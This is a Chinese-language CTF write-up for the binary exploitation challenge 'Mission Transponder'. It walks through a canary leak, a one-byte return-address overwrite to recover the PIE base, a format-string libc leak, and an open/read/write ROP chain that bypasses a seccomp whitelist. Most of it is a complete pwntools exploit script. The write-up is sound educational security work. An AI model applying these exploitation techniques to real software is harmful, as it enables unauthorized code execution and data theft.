Mission Transponder

第十六届极客大挑战Mission Transponder (2).png

main函数:

第十六届极客大挑战Mission Transponder (3).png

repeater函数:

第十六届极客大挑战Mission Transponder (4).png

repeat_error函数:

第十六届极客大挑战Mission Transponder (5).png

有沙箱

第十六届极客大挑战Mission Transponder (1).png

白名单,我们考虑orw

题目没有后门函数,但是有./flag字符串,这个可以再orw链中用,我们不用自己写入这个字符串了,我们看到repeater有两次读入,两次都能覆盖到返回地址,第一次会用pirntf(%s)打印,那我们自然想到用第一次泄露canary然后第二次栈溢出,我们看到repeat_error函数跟repeater函数很像,但是第一个pirntf有格式化字符串,那我们就可以考虑利用栈溢出跳转到repeat_error然后利用格式化字符串泄露libc(这里也有栈保护,但是我们不用在泄露canary了,因为它的canary和我们前面在register泄露的canary一样,它们都是从fs:28取的),然后栈溢出再回到repeater函数(这是因为repeat_error函数第二次栈溢出的空间太小,放不下orw链,所以我们返回repeater函数,利用repeater函数第二次的足够溢出的空间),然后放orw链

那现在剩的问题就是我们没有pie基址,没有repeater函数和repeat_error函数的地址,这里有两种思路

第一种,利用2字节覆盖返回地址为repeat_error函数,这个有16分之一的概率成功,然后在repeat_error函数中利用格式化字符串泄露pie(如果能的话)

第二种,也是更简单的一种,我们知道,返回地址存的是下一条指令的地址,那我们可以一字节覆盖,把返回地址的最后一字节覆盖成call repeater的地址,这是main函数的汇编

第十六届极客大挑战Mission Transponder (6).png

返回地址存的是mov eax,0这条指令的地址,而call repeater这条指令的地址的偏移我们在ida中可以看到与mov eax,0这条指令的地址的偏移只有最后一字节不同,所以我们可以直接覆盖返回地址的最后一字节来重新执行repeater函数,这时我们已经有了canary,我们第一次read就用来泄露返回地址,然后我们就能得到pie基址了,后面就按我们前面说的流程走就行了,这里要注意一个点,就是这里repeater函数里面的指令的地址也是只跟返回地址差最后一字节的,但是我们不能直接跳到repeater里面,因为我们栈溢出覆盖是rbp是错的,而repeater有对[rbp+s]进行操作,直接跳到里面会崩溃,所以我们必须经过函数开头的push rbp和mov rbp, rsp重置rbp的操作,所以我们这里覆盖为call repeater这条指令

还有一个点是orw链中不能直接用libc.sym['open'],因为它的底层调用的不是open而是openat,系统调用号不是2,我们的沙箱是白名单,只允许open,所以这里我们要手动用syscall来写open,而read和write就直接用libc.sym[]就行

EXP:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']

file_name = './pwn_patched'
libc_name = './libc.so.6'

elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)

gdb_   = 1 if ('gdb' in sys.argv)        else 0
switch = 1 if ('remote' in sys.argv)     else 0
debug  = 0 if ('deoff'  in sys.argv)     else 1
error  = 1 if ('error'  in sys.argv)     else 0

if debug:
    context(log_level='debug')

if error:
    context(log_level='error')

bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'), 
# ('system', 'libc')
]

gdb_cmd = ''
if gdb_ and switch == 0: 
    gdb_cmd += "set breakpoint pending on\n"
    for b in bps:
        if isinstance(b, int):
            gdb_cmd += f"b *$rebase({hex(b)})\n"
        elif isinstance(b, str):
            gdb_cmd += f"b {b}\n"
        elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
            if 'libc' in locals() and libc:
                target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
                gdb_cmd += f'b *($base("libc") + {hex(target)})\n'
            else:
                log.warning("未加载 Libc,跳过 Libc 断点")
    gdb_cmd += "c\n" 

if switch:
    target = 'nc1.ctfplus.cn'
    port   =  29837
    p = remote(target, port)
elif gdb_: 
    p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
    p = process(file_name)

def s(data):             return p.send(data)
def sa(delim, data):     return p.sendafter(delim, data)
def sl(data):            return p.sendline(data)
def sla(delim, data):    return p.sendlineafter(delim, data)
def r(numb=4096):        return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl():                return p.recvline()
def ra(t=None):          return p.recvall(timeout=t)
def cl():                return p.close()
def it():                return p.interactive()
def uc64(data):          return u64(data.rjust(8, b'\x00'))
def uu64(data):          return u64(data.ljust(8, b'\x00'))
def a(f, off=libc):      return lg(hex(off), (ret := f.address + off)) or ret
def lg(name, data):      return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def ga(delim=b'|', name='Leak'):      return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16) for a in re.findall(b'0x[0-9a-fA-F]+', ru(delim))])]
def ntlb(leak, offset, name='Libc'):  return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'):  return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'):          return (content.encode() if isinstance(content, str) else content) * num
def se(s, f=None):                    return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next((f or libc).search(s if isinstance(s, bytes) else s.encode())))) or addr

_rop_cache = {}
def gg(s, f=None):
    target = f or libc
    if target not in _rop_cache:
        _rop_cache[target] = ROP(target)
    rop = _rop_cache[target]
    instrs = [x.strip() for x in s.split(';')]
    gadget = rop.find_gadget(instrs)
    if gadget:
        addr = gadget.address
        lg(s, addr) 
        return addr
    else:
        raise ValueError(f"[-] Critical: Gadget not found: {s}")
  
#################################################################################
payload1 = flat([
    fill(0x28), 
    b"B"
])
sa(b'data:', payload1)
ru(b'B')
canary1 = r(7)
canary = uc64(canary1)
lg("canary", canary)

payload2 = flat([
    fill(0x28),
    canary,
    fill(0x8),
    p8(0x92)
])
sa(b'logs:',payload2)

payload3 = flat([
    fill(0x38)
])
sa(b'data:', payload3)
ru(b"A"*0x38)
leak = r(6)
ntpie(uu64(leak),0x1497)
function1 = a(elf,0x11e3)

payload4 = flat([
    fill(0x28),
    canary,
    fill(0x8),
    function1
])
sa(b'logs:',payload4)

sa(b'data:',b"%10$p|")
leaklibc = ga()
ntlb(leaklibc[0],0x27675)

payload5 = flat([
    fill(0x8),
    canary,
    fill(0x8),
    elf.address+0x1492
])
s(payload5)

sa(b'data:',b'A')
flag_addr = se("./flag",elf)
prdi = gg("pop rdi;ret")
prsi = gg("pop rsi;ret")
prdx = se(asm("pop rdx ; xor eax, eax ; ret"))
prax = gg('pop rax;ret')
syscall = gg('syscall;ret')
bss_addr = elf.bss() + 0x100
payload4 = flat([
    fill(0x28),
    canary,
    fill(0x8),
    prdi, flag_addr,   
    prsi, 0,     
    prdx, 0,  
    prax, 2,   
    syscall,      
  
    prdi, 3,    
    prsi, bss_addr,   
    prdx, 0x100,   
    libc.sym['read'],   
  
    prdi, 1,      
    prsi, bss_addr,
    prdx, 0x100,
    libc.sym['write']
])
sa(b'logs:',payload4)

it()

题目链接:

CTF-Writeups/第十六届极客大挑战/Mission Transponder at main · Zenquiem/CTF-Writeups


Mission Transponder
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-i3DhCVrH
作者
ZenDuk
发布于
2026年01月03日
许可协议